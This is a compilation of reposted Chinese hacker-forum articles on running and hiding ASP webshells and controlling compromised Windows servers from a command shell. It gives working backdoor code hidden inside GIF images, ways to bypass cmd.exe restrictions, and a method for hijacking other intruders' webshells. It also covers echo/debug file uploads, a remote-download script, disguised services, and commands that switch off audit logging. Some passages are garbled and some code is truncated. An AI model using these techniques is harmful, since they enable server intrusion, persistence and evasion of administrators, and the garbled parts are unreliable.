最后，我们要让asp木马具备系统权限。我们的木马现在隐匿得很深，躲过了细心网管和杀毒软件，不具备系统权限我们心有不甘。让asp木马具备系统权限的方法有三种，第一种是在iis管理器中的主目录选项里将应用程序保护选择为:低(iis进程)图3。第二种是将"IWAM_machine"这一用户加入administrators组即可。这两种方法我想大家也许都耳熟能详了，但第3种也许就不为人所知了。netbox是一款由北京综艺达软件技术有限公司自主研制的编译及开发工具，除了Apache和微软的IIS以外，目前是世界上第三个可以运行asp的应用服务器，在Windows98/NT/2000/Me/XP下都可以直接运行，而且是一个大小仅为440kb的绿色文件。我已将netbox配置好了（请见附件的netbox文件夹)，大家使用的时候，只需将netbox文件夹放在某个盘符下，再在cmd下运行"x:\netbox\netbox.exe -install"即可安装成功netbox，以后就可以运行http://ip:88/x.asp了。需要指出的是我在netbox的配置文件里main.box里写了这样两行代码：
If httpd.Create("", 88) = 0 Then
Set host = httpd.AddHost("", "\wwwroot")
意思是web的端口为88，asp文件放在netbox目录下的wwwroot文件夹。这个端口和文件夹，你都可以根据自己的需要用记事本打开main.box来修改你所想要的。我们使用这一软件最大的一个好处是我们的asp木马在netbox环境下具备了系统权限，也许用它在肉鸡上做主页留后门也是一个不错的选择哟。
另外，因为我整篇文章写得是如何突破常规限制来运行asp木马，所以还有一点我要提及。在黑客防线2003年7期xhacker有篇文章《巧妙设置cmd权限加强主机安全配置》提到过防止网上流行的cmd.asp木马（见附件）方法是可以用
cacls %systemroot/system32/cmd.exe /E /D IUSR_machine
cacls %systemroot/system32/dllcache/cmd.exe /E /D IUSR_machine
这样两条命令来限止cmd.exe的权限，于是cmd.asp木马就失去作用了。针对这种限制我们也有办法突破，我们可以将本机的cmd.exe改名传到肉鸡上，假设我们将cmd.exe改名为lcx.exe，传在肉鸡的d:\lcx目录下，于是我们打开cmd.asp, 找到
Call oScript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True)这一行源码，改为
Call oScript.Run ("d:\lcx\lcx.exe /c " & szCMD & " > " & szTempFile, 0, True)即可，我们又可以成功运行cmd.asp了。
总之，如何能更好地运行asp木马，发挥出它的强大功能，还是需要我们多动脑多动手，只有这样我们才会有新的发现。


[转载]脚本后门的深入——图片中的后门

本文作者： 臭要饭的！[BST]
如果要转载请保留作者信息和来源
Http://www.bugkidz.org
----------------------------------------
现在从注入拿WEBSHELL看来成功率都比较高了。
拿到SHELL后，安装自己的脚本后门，常常被查杀。
脚本后门的发展史：

1。最开始就是直接放一个ASP文件上去。
2。把ASP文件加密才放上去。
3。把脚本插入到代码中去。（我经常用这种）
不过一样被查得出来，我前段时候手工检测一个站的脚本安全。
发现这个站被种了21个木马。
所以我就想到了，怎么样才能不被发现不能被查杀。
最后我研究了一下如果把脚本插入到图片中。
然后在ASP中调用图片中的脚本程序应该就可以了。
测试的时候通过了。
现在我把我的心德写一下。
让大家来分析一下。共同进步和完善这种方法。

在研究过程中我看了GIF图片的结构文档方面的书。
GIF图片都是以 00 3B 为结束的。
换句话说00 3B 后面的不会显示出来。
所以我们在00 3B后面插入代码就行了。
当然代码我们加密放到图片中去效果更好。
我写了一个程序来这么做。
这里要说一下，在图片中00 3B后面的是不会显示出来的。
但其中的代码已经运行了。图片也会正常显示出来。
测试：
在图片后面加入：<%=now%>
然后在一个ASP文件中加入:<!--include file="aaa.gif" -->
然后你们下载这个图片，发现图片最后面变成了时间。很正常因为图片放到了ASP脚本中运行了其中的代码。
换句话来说，如果写的是一段生成文件的脚本。
那么我们提交特定的参数让图片中的代码去生成文件。
这样就实现了我们的后门。
1：这种方法要做的工作就是在目标站点中找一张GIF图片然后把代码插入到图片中，再上传到站点中去。这样作管理员很难找到木马在哪里。打死也想不到木马在图片中。
2：我们插入的代码只有一行就是那个include file .....

找个文件大点的ASP文件给插进去就行了。
然后我们在本地POST数据提交给ASP引用图片的URL这样就完成了工作。
我的插入图片的脚本：
<% dim objFSO %>
<% dim fdata %>
<% dim objCountFile %>
<% on error resume next %>
<% Set objFSO = Server.CreateObject("Scripting.FileSystemObject") %>
<% fdata = request("cyfddata") %>
<% if fdata<>"" then %>
<% syfdpath=server.mappath(Request.ServerVariables("SCRIPT_NAME"))&"\ok.asp"%>
<% Set objCountFile=objFSO.CreateTextFile(syfdapth,True) %>
<% objCountFile.Write fdata %>
<% end if %>
<% objCountFile.Close %>
<% Set objCountFile=Nothing %>
<% Set objFSO = Nothing %>
这段代码主要就是在当前目录下生成一个ok.asp文件。
文件内容是由我们提交的数据.用request("cyfddata")来获取的。
这段代码加密后插入到图片中去。
下面我把我程序的代码贴出来。（倒程序代码没有打包在里面。明天再贴上来）
现在给程序地址下载：
点这里下载测试程序。
本地自己构建一个提交表单向ASP文件提交(加入图片那个文件)
表单文本框输入内容名称是:cyfddata
后感：
我本人认为这种方法，管理员很难查到。这是我两天前想到的作出来了，
可能有些问题希望和大家一起讨论，必竞，为了追求技术就得研究技术。
共享知识，从而升华。
感觉去研究一些新东西，人活得更XS些。
利用程序
www.dv28.com/live/ScriptInpic.rar


[原创]再谈ASP牧马

文章作者：!Tεηdу~!
文章来源：EvilOctal Security Team [E.S.T]

没有什么技术可然。高手就别看了。 :)前几天看了几篇关于ASP木马的文章。小弟也喜欢养马。呵呵。不过我养的马一般是关在家里。很少放出去哦。好了。题外话就说到这里。
大家用的和见过的ASP马有很多。如：海泮、蓝屏、老兵的ASP助手。还有种种各位大侠自已修改或美化的一些马。呵呵。。我也很喜欢美化马。打造自已的马。在这里我就写了。相信大家都看了三少写的"轻轻松松打造属于自己的ASP木马"!
http://www.eviloctal.com/forum/read.php?tid=2804&fpage=1

一、加密ASP马

1.前次小弟没事做入侵了一站点。呵呵。。不过我什么也没做哦。不过那站点早被别人玩过的/我看到上面还有一个马。大家都知道。这个马对自已当然不利。于是我先想到就是改了他的密码。我照平常的方法去查找PASS。汗。找"kmbwe{~sgx"是这个。。后面在朋友7.xi的帮且才知道这马的PASS是用海洋顶端函数加密。这种上面三少有提到的。。用他给的代码也能给我们的密码加密或把别人的密码解密。不过如果你还怕麻烦的话就直接用网上的这个ASP加密程序好了。。免费东东还不用。URL：http://lilo.name/asp/pass/Index.asp
2.就是所谓的ASP加密工具生成的乱码ASP文件。在这小弟就供出来这个小东东。程序是在DOS运行的！
命令格式:
screnc.exe [源文件] [生成文件]
比如: screnc.exe a.asp b.asp
那么就把a.asp 加密成b.asp
这时你去看一下。是不是全变了。。让他去找PASS好的。：)
本人纯属一菜菜鸟。另外的加密方法还没去研究。整体加密有好多种方法的，只是本人现在还没那技术，。呵呵！

二、解密
上面那种利用海洋顶端函数方法加密的大家都看了。我们就来看下用工具加密过的木马。
用下面这个ASP解码工具就对了。把她所有的源码放进解码框，，按下解码。哈哈。是不是完全属于正常的ASP码格式了。。下面去找他 的PASS就不用我说了吧。。另外蓝屏木马登录漏洞的文章我想大家都看过。在这我就不说了。
我们来看下"MAOMAO"的马。吖的，上次入侵机器看到机器上有MAOMAO 的马。可是我登不上。有密码。嘿嘿。用过这马的人都知道。有探针再加上他本身的下载功能。。。你一定能跨过去的。看下面:

这是他探针本地文地的代码:
<tr bgcolor="#EEFEE0" height=18>
<td align=left> 本文件路径</td><td> <%=server.mappath(Request.ServerVariables("SCRIPT_NAME"))%></td>
</tr>

不是有下载功能的吗？。。把这个在服务器上的木马下载下来。我们不就可以看到他的PASS了吧。。
怎样打开他的探针呢。看下这个地址：http://www.xxx.com/maomao.asp?q=test.asp 也就是说在URL后加上?q=test.asp
打开了吧。看到了什么？ 本文件路径 d:\wwwroot\maomao.asp
http://www.xxx.com/maomao.asp?q=down.asp&path=d:\wwwroot.asp
同样在后面加上：?q=down.asp&path=[服务器上马的路径]
// 汗。。下载她。。试试。。看到她的PASS了吧.. :)

不过补上这漏洞还是蛮简单的。。
<td align=left> 本文件路径?? :) 呵呵。。修改版。没了。 By:!Τεηdу~! </tr> 把这句替换上去就OK了..或者直接把探针马的页面名改了。改的变态些，让他去找好了。。。[s:24]
三、美化
ASP学的不怎么好的用网页编辑软件改就容易多了。只要不破坏ASP马代码的格式就行。也可以就直接加在最后面使他和整体都有这种效果。

style="font-size: 9pt; border: 1px dotted #FFFFFF; ; padding-left:4px; padding-right:4px; padding-top:1px; padding-bottom:1px; background-color:#808000"></font> //彩色按钮。加在按你要美化的按钮中间

我们也可以直接加在代码的底部的 如：
<title>::::天涯恨客Exploit ASP Transcoder___!Τεηdу~! TailoRmade::::</title>

<br>
<CENTER><font color="#FFFF00"><span style="background-color: #9933FF">警告：对非法使用此程序可能带来的任何不良后果责任自负！<br></center>
<font color="#99FF66"><span style="background-color: #666666"> <CENTER>Welcome Hacker NET __BY:!Τεηdу~!<br></center> //木马每页底端都显示的居中文字
<body
        bgcolor="#C0C0C0">
        //背景色/背景图片：
<body background="http://www.darkup.com/images/worldmapback.gif">
<STYLE type=text/css>BODY {SCROLLBAR-FACE-COLOR: #ffffff; SCROLLBAR-HIGHLIGHT-COLOR: #ffffff; SCROLLBAR-SHADOW-COLOR: #666666; SCROLLBAR-3DLIGHT-COLOR: #ffffff; SCROLLBAR-ARROW-COLOR: #51bfe0; SCROLLBAR-TRACK-COLOR: #666667; SCROLLBAR-DARKSHADOW-COLOR: #ffffff
} </style> //彩色滚动条
加点音乐三少那文中有的!
好了。就说到这吧。感谢好友7.xi和GYG提供的帮助! 如果觉的该文有不妥的地方.可以我联系:Q:8787673 谢谢!
上面提到的工具下载URL：http://tendy.ys168.com
8好意思。本人暂时找不到好的固定空间..


Do All in Cmd Shell
-------------------------------------------------------
zzzEVAzzz
http://www.isgrey.com/
2004-04-24
-------------------------------------------------------

目录
1，前言
2，文件传输
3，系统配置
4，网络配置
5，软件安装
6，Windows脚本
7，附言

前言
Cmd Shell(命令行交互)是黑客永恒的话题，它历史悠久并且长盛不衰。本文旨在介绍和总结一些在命令行下控制Windows系统的方法。这些方法都是尽可能地利用系统自带的工具实现的。

文件传输
对于溢出漏洞获得的cmd shell，最大的问题就是如何上传文件。由于蠕虫病毒流行，连接ipc$所需要的139或445端口被路由封锁。再加上WinXP系统加强了对ipc$的保护，通过ipc$及默认共享上传文件的手段基本无效了。ftp和tftp是两种可行的方法，介于其已被大家熟知，本文就不介绍了。还有三种大家熟悉的办法，作为总结我再提一下：
1，用Echo命令写ASP木马。
前提当然是目标主机上已经安装了IIS。
一般的ASP木马“体积”较大，不适合直接用echo命令写入文件，这里我提供一个小巧的。
直接给出echo版：
@echo ^ >up.asp
注意，只有一行，中间没有回车符。
生成的up.asp不能用浏览器访问，只能用下面这个脚本：
with wscript
if .arguments.count>dl.vbs
@echo w.open "get",.arguments(0),0:w.send:if w.status^>200 then .echo "Error:"+w.status:.quit>>dl.vbs
@echo aso.type=1:aso.open:aso.write w.responsebody:aso.savetofile .arguments(1),2:end with >>dl.vbs
举例——下载ps.exe并保存到c:\path下：
cscript dl.vbs http://www.sometips.com/soft/ps.exe c:\path\ps.exe
注意，这是在远程shell中执行的。
4，Echo经过编码的任何文件，再用脚本+debug还原。
前面两个办法都不能保证穿过防火墙。而且，除非自己架Web服务器，一般的Web资源都是以压缩文件的形式提供。如果目标主机没有解压工具，还是没辙。那么只有出“杀手锏”了！
echo命令加重定向x作符可以写入ASCII码小于128的字符，但大于等于128的不行。只有将本地文件重新“编码”为可显示的字符，才能方便地写入远程主机。首先能想到的就是base64编码，即email附件的编码方式。但vbs不支持位x作，因此编码和解码较复杂。更麻烦的是，脚本以二进制流方式处理文件的能力很差。（ADODB.Stream可以以流方式写文件，但我无法构造出相应的数据类型。二进制数据流可以用midb函数转成字符串，但反过来不行。我花了两天时间，还是没能解决这个问题。如果有谁能用vbs或js写任意的字节数据到文件中，恳请赐教。）
无奈只有请debug.exe出马了。原理很多人都知道，我不介绍了，直接给出成果——编码脚本：
fp=wscript.arguments(0)
fn=right(fp,len(fp)-instrrev(fp,"\"))
with createobject("adodb.stream")
.type=1:.open:.loadfromfile fp:str=.read:sl=lenb(str)
end with
sll=sl mod 65536:slh=sl536
with createobject("scripting.filesystemobject").opentextfile(fp&".bat",2,true)
.write "@echo str="""
for i=1 to sl
bt=ascb(midb(str,i,1))
if bt>debug.vbs"+vbcrlf+"@echo +"""
next
.writeline """>>debug.vbs"+vbcrlf+"@echo with wscript.stdout:r=vbcrlf"_
+":for i=1 to len(str) step 48:.write ""e""+hex(256+(i-1)/2)"_
+":for j=i to i+46 step 2:.write "" ""+mid(str,j,2):next:.write r:next>>debug.vbs"
.writeline "@echo .write ""rbx""+r+"""+hex(slh)+"""+r+""rcx""+r+"""+hex(sll)_
+"""+r+""n debug.tmp""+r+""w""+r+""q""+r:end with"_
+">>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp """&fn&"""&del debug.vbs"
end with
将其保存为echo.vbs。假设要上传nc.exe，那么在本地命令行输入命令：
cscript echo.vbs nc.exe
也可以直接把要传输的文件的图标拖放到脚本文件的图标上。
稍等一会儿，在当前目录下将生成一个nc.exe.bat。用记事本等编辑工具打开它，可以看到如下内容：
@echo str="4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000
000000000000000000000000800000000E1FBA0E00B409CD21B8014CCD21546869732070726F6772616D2063616E6E6F74206265207
2756E20696E20444F53206D6F64652E0D0D0A2400000000000000"_>>debug.vbs

@echo +"504500004C010400B98EAE340000000000000000E0000F010B010500009800000062000000000000004C00000010000000
B000000000400000100000000200000400000000000000040000000000000000300100000400000000000003000000000010000010
0000000010000010000000000000100000000000000000000000"_>>debug.vbs

@echo +"002001003C0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000
000000000000000000000000000000000000000000000000000000000000000000000000000000A021010064010000000000000000
0000000000000000000000000000000000002E74657874000000"_>>debug.vbs

@echo +"70970000001000000098000000040000000000000000000000000000200000602E726461746100001704000000B00000000
60000009C0000000000000000000000000000400000402E646174610000004452000000C00000003E000000A2000000000000000000
0000000000400000C02E696461746100005C07000000200100"_>>debug.vbs
…………
…………（省略若干行）
…………
@echo +"">>debug.vbs
@echo with wscript.stdout:r=vbcrlf:for i=1 to len(str) step 48:.write "e"+hex(256+(i-1)/2):for j=i to i+46 step 2:.write " "+mid(str,j,2):next:.write r:next>>debug.vbs
@echo .write "rbx"+r+"0"+r+"rcx"+r+"E800"+r+"n debug.tmp"+r+"w"+r+"q"+r:end with>>debug.vbs&&cscript //nologo debug.vbs|debug.exe>nul&&ren debug.tmp "NC.EXE"&del debug.vbs
全选 －》 复制 －》 切换到远程命令行窗口 －》 粘贴。
如果网速不是很慢的话，整个上传过程大约需要20秒。
几点说明：
1，大的文件传输不稳定，可能会使shell死掉。所以文件越小效果越好。建议原文件不要超过100KB。
2，在传输大文件前，可以先传个小的文件作为“热身”，让16位虚拟机ntvdm.exe驻留后台。所有文件传完后，为隐蔽起见，应该把ntvdm进程杀掉。
3，某些cmd shell每个命令都需要附加两个回车，那nc.exe.bat就不能直接用了。
4，单个命令的长度是有限的，所以不能只用一个echo完成全部任务。而且，对于nc提供的cmd shell，稍长一些的命令竟然会使shell自动退出（溢出了？）。你可以修改"i mod 128=0"语句中的128以调整每个echo命令的长度。每次echo的字符为这个数乘以2。
5，解码过程没有脚本参与也是可以的。使用脚本的目的是减少传输氖萘浚ㄒ蛭顾趿耸荩Ｈ绻惺奔洌一嵝匆桓龈晟频慕疟荆忧渴菅顾跄芰Γ黾邮菪Ｑ楣δ堋?br>
能上传文件当然一切都好办了，但很多x作用Windows自带的工具更方便。在你到处寻找需要的工具时，不要忘了Windows本身。

系统配置
这节包括三方面内容：注册表、服务和组策略。
先说注册表。很多命令行下访问注册表的工具都是交互式的，溢出产生的shell一般不能再次重定向输入/输出流，所以无法使用。
好在系统自带的regedit.exe足够用了。
1，读取注册表
先将想查询的注册表项导出，再用type查看，比如：
C:\>regedit /e 1.reg "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp"
C:\>type 1.reg | find "PortNumber"
"PortNumber"=dword:00000d3d
C:\>del 1.reg
所以终端服务的端口是3389（十六进制d3d）
2，修改/删除注册表项
先echo一个reg文件，然后导入，比如：
echo Windows Registry Editor Version 5.00 >1.reg
echo. >>1.reg
echo [HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\TelnetServer.0] >>1.reg
echo "TelnetPort"=dword:00000913 >>1.reg
echo "NTLM"=dword:00000001 >>1.reg
echo. >>1.reg
regedit /s 1.reg
将telnet服务端口改为2323（十六进制913），NTLM认证方式为1。
要删除一个项，在名字前面加减号，比如：
[-HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Serv-U]
要删除一个值，在等号后面用减号，比如：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
"KAVRun"=-
3，用inf文件访问注册表
上面对注册表的三个x作，也可以用下面这个inf文件来实现：
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall]
AddReg=My_AddReg_Name
DelReg=My_DelReg_Name
[My_AddReg_Name]
HKLM,SOFTWARE\Microsoft\TelnetServer.0,TelnetPort,0x00010001,2323
HKLM,SOFTWARE\Microsoft\TelnetServer.0,NTLM,0x00010001,1
[My_DelReg_Name]
HKLM,SYSTEM\CurrentControlSet\Services\Serv-U
HKLM,SOFTWARE\Microsoft\Windows\CurrentVersion\Run,KAVRun
将它写入c:\path\reg.inf然后用下面这个命令“安装”：
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\reg.inf
几点说明：
1，[Version]和[DefaultInstall]是必须的，AddReg和DelReg至少要有一个。My_AddReg_Name和My_DelReg_Name可以自定义。
0x00010001表示REG_DWORD数据类型，0x00000000或省略该项(保留逗号)表示REG_SZ(字符串)。0x00020000表示REG_EXPAND_SZ。
2323也可以用0x913代替。
关于inf文件的详细信息，可以参考DDK帮助文档。
2，InstallHinfSection是大小写敏感的。它和setupapi之间只有一个逗号，没有空格。
128表示给定路径，该参数其他取值及含义参见MSDN。
特别注意，最后一个参数，必须是inf文件的全路径，不要用相对路径。
3，inf文件中的项目都是大小写不敏感的。

接下来说服务。如果想启动或停止服务，用net命令就可以。但想增加或删除服务，需要用SC，instsrv.exe，xnet.exe等工具。而这些工具系统没有自带（XP和2003自带SC)。导入注册表虽然可以，但效果不好，原因后面会提到。还是得靠inf文件出马。
增加一个服务：
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
AddService=inetsvr,,My_AddService_Name
[My_AddService_Name]
DisplayName=Windows Internet Service
Description=提供对 Internet
        信息服务管理的支持。
ServiceType=0x10
StartType=2
ErrorControl=0
ServiceBinary=%11%\inetsvr.exe
保存为inetsvr.inf，然后：
rundll32.exe setupapi,InstallHinfSection DefaultInstall 128 c:\path\inetsvr.inf
这个例子增加一个名为inetsvr的服务（是不是很像系统自带的服务，呵呵）。
几点说明：
1，最后四项分别是
服务类型：0x10为独立进程服务，0x20为共享进程服务（比如svchost）；
启动类型：0 系统引导时加载，1 OS初始化时加载，2 由SCM（服务控制管理器）自动启动，3 手动启动，4 禁用。
（注意，0和1只能用于驱动程序）
错误控制：0 忽略，1 继续并警告，2 切换到LastKnownGood的设置，3 蓝屏。
服务程序位置：%11%表示system32目录，%10%表示系统目录(WINNT或Windows)，%12%为驱动目录system32\drivers。其他取值参见DDK。你也可以不用变量，直接使用全路径。
这四项是必须要有的。
2，除例子中的六个项目，还有LoadOrderGroup、Dependencies等。不常用所以不介绍了。
3，inetsvr后面有两个逗号，因为中间省略了一个不常用的参数flags。
删除一个服务：
[Version]
Signature="$WINDOWS NT$"
[DefaultInstall.Services]
DelService=inetsvr
很简单，不是吗？
当然，你也可以通过导入注册表达到目的。但inf自有其优势。
1，导出一个系统自带服务的注册表项，你会发现其执行路径是这样的：
"ImagePath"=hex(2):25,00,53,00,79,00,73,00,74,00,65,00,6d,00,52,00,6f,00,6f,00,\
74,00,25,00,5c,00,73,00,79,00,73,00,74,00,65,00,6d,00,33,00,32,00,5c,00,74,\
00,6c,00,6e,00,74,00,73,00,76,00,72,00,2e,00,65,00,78,00,65,00,00,00
可读性太差。其实它就是%SystemRoot%\system32\tlntsvr.exe，但数据类型是REG_EXPAND_SZ。当手动导入注册表以增加服务时，这样定义ImagePath显然很不方便。如果用REG_SZ代替会有些问题——不能用环境变量了。即只能使用完整路径。用inf文件完全没有这个问题，ServiceBinary（即ImagePath）自动成为REG_EXPAND_SZ。
2，最关键的是，和用SC等工具一样，inf文件的效果是即时起效的，而导入reg后必须重启才有效。
3，inf文件会自动为服务的注册表项添加一个Security子键，使它看起来更像系统自带的服务。
另外，AddService和DelService以及AddReg、DelReg可以同时且重复使用。即可以同时增加和删除多个服务和注册表项。详细的内容还是请查看DDK。

最后说说组策略。组策略是建立Windows安全环境的重要手段，尤其是在Windows域环境下。一个出色的系统管理员，应该能熟练地掌握并应用组策略。在窗口界面下访问组策略用gpedit.msc，命令行下用secedit.exe。
先看secedit命令语法：
secedit /analyze
secedit /configure
secedit /export
secedit /validate
secedit /refreshpolicy
5个命令的功能分别是分析组策略、配置组策略、导出组策略、验证模板语法和更新组策略。其中secedit /refreshpolicy 在XP/2003下被gpupdate代替。这些命令具体的语法自己在命令行下查看就知道了。
与访问注册表只需reg文件不同的是，访问组策略除了要有个模板文件(还是inf)，还需要一个安全数据库文件(sdb)。要修改组策略，必须先将模板导入安全数据库，再通过应用安全数据库来刷新组策略。来看个例子：
假设我要将密码长度最小值设置为6，并启用“密码必须符合复杂性要求”，那么先写这么一个模板：
[version]
signature="$CHICAGO$"
[System Access]
MinimumPasswordLength
        = 6
PasswordComplexity = 1
保存为gp.inf，然后导入：
secedit /configure /db gp.sdb /cfg gp.inf /quiet
这个命令执行完成后，将在当前目录产生一个gp.sdb，它是“中间产品”，你可以删除它。
/quiet参数表示“安静模式”，不产生日志。但根据我的试验，在2000sp4下该参数似乎不起作用，XP下正常。日志总是保存在%windir%\security\logs\scesrv.log。你也可以自己指定日志以便随后删除它。比如：
secedit /configure /db gp.sdb /cfg gp.inf /log gp.log
del gp.*
另外，在导入模板前，还可以先分析语法是否正确：
secedit /validate gp.inf
那么，如何知道具体的语法呢？当然到MSDN里找啦。也有偷懒的办法，因为系统自带了一些安全模板，在%windir%\security\templates目录下。打开这些模板，基本上包含了常用的安全设置语法，一看就懂。
再举个例子——关闭所有的“审核策略”。（它所审核的事件将记录在事件查看器的“安全性”里）。
echo版：
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Event Audit] >>1.inf
echo AuditSystemEvents=0 >>1.inf
echo AuditObjectAccess=0 >>1.inf
echo AuditPrivilegeUse=0 >>1.inf
echo AuditPolicyChange=0 >>1.inf
echo AuditAccountManage=0 >>1.inf
echo AuditProcessTracking=0 >>1.inf
echo AuditDSAccess=0 >>1.inf
echo AuditAccountLogon=0 >>1.inf
echo AuditLogonEvents=0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log /quiet
del 1.*
也许有人会说：组策略不是保存在注册表中吗，为什么不直接修改注册表？因为不是所有的组策略都保存在注册表中。比如“审核策略”就不是。你可以用regsnap比较修改该策略前后注册表的变化。我测试的结果是什么都没有改变。只有“管理模板”这一部分是完全基于注册表的。而且，知道了具体位置，用哪个方法都不复杂。
比如，XP和2003的“本地策略”－》“安全选项”增加了一个“本地帐户的共享和安全模式”策略。XP下默认的设置是“仅来宾”。这就是为什么用管理员帐号连接XP的ipc$仍然只有Guest权限的原因。可以通过导入reg文件修改它为“经典”：
echo Windows Registry Editor Version 5.00 >1.reg
echo [HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa] >>1.reg
echo "forceguest"=dword:00000000 >>1.reg
regedit /s 1.reg
del 1.reg
而相应的用inf，应该是：
echo [version] >1.inf
echo signature="$CHICAGO$" >>1.inf
echo [Registry Values] >>1.inf
echo MACHINE\System\CurrentControlSet\Control\Lsa\ForceGuest=4,0 >>1.inf
secedit /configure /db 1.sdb /cfg 1.inf /log 1.log
del 1.*
关于命令行下读取组策略的问题。
系统默认的安全数据库位于%windir%\security\database\secedit.sdb，将它导出至inf文件：
secedit /export /cfg gp.inf /log 1.log
没有用/db参数指定数据库就是采用默认的。然后查看gp.inf。
不过，这样得到的只是组策略的一部分（即“Windows设置”）。而且，某个策略如果未配置，是不会被导出的。比如“重命名系统管理员帐户”，只有被定义了才会在inf文件中出现NewAdministratorName="xxx"。对于无法导出的其他的组策略只有通过访问注册表来获得了。
此办法在XP和2003下无效——可以导出但内容基本是空的。原因不明。根据官方的资料，XP和2003显示组策略用RSoP（组策略结果集）。相应的命令行工具是gpresult。但是，它获得的是在系统启动时被附加（来自域）的组策略，单机测试结果还是“空”。所以，如果想知道某些组策略是否被设置，只有先写一个inf，再用secedit /analyze，然后查看日志了。

网络配置
Windows自带的关于网络的命令行工具很多，比如大家熟悉的ping,tracert,ipconfig,telnet,ftp,tftp,netstat，还有不太熟悉的nbtstat,pathping,nslookup,finger,route,netsh……
这些命令又可分成三类：网络检测（如ping）、网络连接（如telnet）和网络配置（如netsh）。前面两种相对简单，本文只介绍两个网络配置工具。
netsh
在远程shell中使用netsh首先要解决一个交互方式的问题。前面说过，很多shell不能再次重定向输出输出，所以不能在这种环境下交互地使用ftp等命令行工具。解决的办法是，一般交互式的工具都允许使用脚本（或者叫应答文件）。比如ftp -s:filename。netsh也是这样：netsh -f filename。
netsh命令的功能非常多，可以配置IAS、DHCP、RAS、WINS、NAT服务器，TCP/IP协议，IPX协议，路由等。我们不是管理员，一般没必要了解这么多，只需用netsh来了解目标主机的网络配置信息。
1，TCP/IP配置
echo interface ip >s
echo show config >>s
netsh -f s
del s
由此你可以了解该主机有多个网卡和IP，是否是动态分配IP(DHCP)，内网IP是多少（如果有的话）。
这个命令和ipconfig /all差不多。
注意，以下命令需要目标主机启动remoteaccess服务。如果它被禁用，请先通过导入注册表解禁，然后
net start remoteaccess
2，ARP
echo interface ip >s
echo show ipnet >>s
netsh -f s
del s
这个比arp -a命令多一点信息。
3，TCP/UDP连接
echo interface ip >s
echo show tcpconn >>s
echo show udpconn >>s
netsh -f s
del s
这组命令和netstat -an一样。
4，网卡信息
如果netsh命令都有其他命令可代替，那它还有什么存在的必要呢？下面这个就找不到代替的了。
echo interface ip >s
echo show interface >>s
netsh -f s
del s
netsh的其他功能，比如修改IP，一般没有必要使用（万一改了IP后连不上，就“叫天不应叫地不灵”了），所以全部略过。
IPSec
首先需要指出的是，IPSec和TCP/IP筛选是不同的东西，大家不要混淆了。TCP/IP筛选的功能十分有限，远不如IPSec灵活和强大。下面就说说如何在命令行下控制IPSec。
XP系统用ipseccmd，2000下用ipsecpol。遗憾的是，它们都不是系统自带的。ipseccmd在xp系统安装盘的SUPPORT\TOOLS\SUPPORT.CAB中，ipsecpol在2000 Resource Kit里。而且，要使用ipsecpol还必须带上另外两个文件：ipsecutil.dll和text2pol.dll。三个文件一共119KB。
IPSec可以通过组策略来控制，但我找遍MSDN，也没有找到相应的安全模板的语法。已经配置好的IPSec策略也不能被导出为模板。所以，组策略这条路走不通。IPSec的设置保存在注册表中(HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local)，理论上可以通过修改注册表来配置IPSec。但很多信息以二进制形式存放，读取和修改都很困难。相比之下，上传命令行工具更方便。
关于ipsecpol和ipseccmd的资料，网上可以找到很多，因此本文就不细说了，只是列举一些实用的例子。
在设置IPSec策略方面，ipseccmd命令的语法和ipsecpol几乎完全一样，所以只以ipsecpol为例：
1，防御rpc-dcom攻击
ipsecpol -p myfirewall -r rpc-dcom -f *+0:135:tcp *+0:135:udp *+0:137:udp *+0:138:udp *+0:139:tcp *+0:445:tcp *+0:445:udp -n BLOCK -w reg -x
这条命令关闭了本地主机的TCP135,139,445和udp135,137,138,445端口。
具体含义如下：
-p myfirewall 指定策略名为myfirewall
-r rpc-dcom 指定规则名为rpc-dcom
-f …… 建立7个筛选器。*表示任何地址(源)；0表示本机地址(目标)；+表示镜像(双向)筛选。详细语法见ipsecpol -?
-n BLOCK 指定筛选x作是“阻塞”。注意，BLOCK必须是大写。
-w reg 将配置写入注册表，重启后仍有效。
-x 立刻激活该策略。
2，防止被ping
ipsecpol -p myfirewall -r antiping -f *+0::icmp -n BLOCK -w reg -x
如果名为myfirewall的策略已存在，则antiping规则将添加至其中。
注意，该规则同时也阻止了该主机ping别人。
3，对后门进行IP限制
假设你在某主机上安装了DameWare Mini Remote Control。为了保护它不被别人暴破密码或溢出，应该限制对其服务端口6129的访问。
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.89+0:6129:tcp -n PASS -w reg -x
这样就只有123.45.67.89可以访问该主机的6129端口了。
如果你是动态IP，应该根据IP分配的范围设置规则。比如：
ipsecpol -p myfw -r dwmrc_block_all -f *+0:6129:tcp -n BLOCK -w reg
ipsecpol -p myfw -r dwmrc_pass_me -f 123.45.67.*+0:6129:tcp -n PASS -w reg -x
这样就允许123.45.67.1至123.45.67.254的IP访问6129端口。
在写规则的时候，应该特别小心，不要把自己也阻塞了。如果你不确定某个规则的效果是否和预想的一样，可以先用计划任务“留下后路”。例如：
c:\>net start schedule
Task Scheduler 服务正在启动 ..
Task Scheduler 服务已经启动成功。
c:\>time /t
12:34
c:\>at 12:39 ipsecpol -p myfw -y -w reg
新加了一项作业，其作业 ID = 1
然后，你有5分钟时间设置一个myfw策略并测试它。5分钟后计划任务将停止该策略。
如果测试结果不理想，就删除该策略。
c:\>ipsecpol -p myfw -o -w reg
注意，删除策略前必须先确保它已停止。不停止它的话，即使删除也会在一段时间内继续生效。持续时间取决于策略的刷新时间，默认是180分钟。
